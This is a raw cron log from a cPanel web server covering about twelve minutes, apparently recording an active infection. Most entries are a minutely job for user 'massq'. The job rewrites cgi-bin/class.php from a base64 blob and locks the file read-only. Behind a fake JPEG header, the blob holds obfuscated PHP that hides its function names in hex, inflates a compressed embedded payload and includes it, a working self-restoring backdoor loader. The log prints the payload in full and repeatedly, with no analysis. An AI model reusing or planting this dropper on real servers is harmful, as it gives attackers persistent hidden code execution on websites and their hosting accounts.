Nov 12 08:50:01 server CROND[20333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:51:01 server CROND[21197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:52:01 server CROND[21781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:53:01 server CROND[22523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:54:01 server CROND[23338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:55:01 server CROND[24158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:55:01 server CROND[24159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:55:01 server CROND[24160]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:56:01 server CROND[25144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:57:01 server CROND[25906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:57:01 server CROND[25907]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:58:01 server CROND[26729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:59:01 server CROND[27585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:00:01 server CROND[28408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:00:01 server CROND[28410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:00:01 server CROND[28411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:00:01 server CROND[28412]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 12 09:00:01 server CROND[28413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:01:01 server CROND[29303]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 09:01:01 server CROND[29304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:01:01 server run-parts(/etc/cron.hourly)[29303]: starting 0anacron
Nov 12 09:01:01 server run-parts(/etc/cron.hourly)[29316]: finished 0anacron
Nov 12 09:02:01 server CROND[30263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
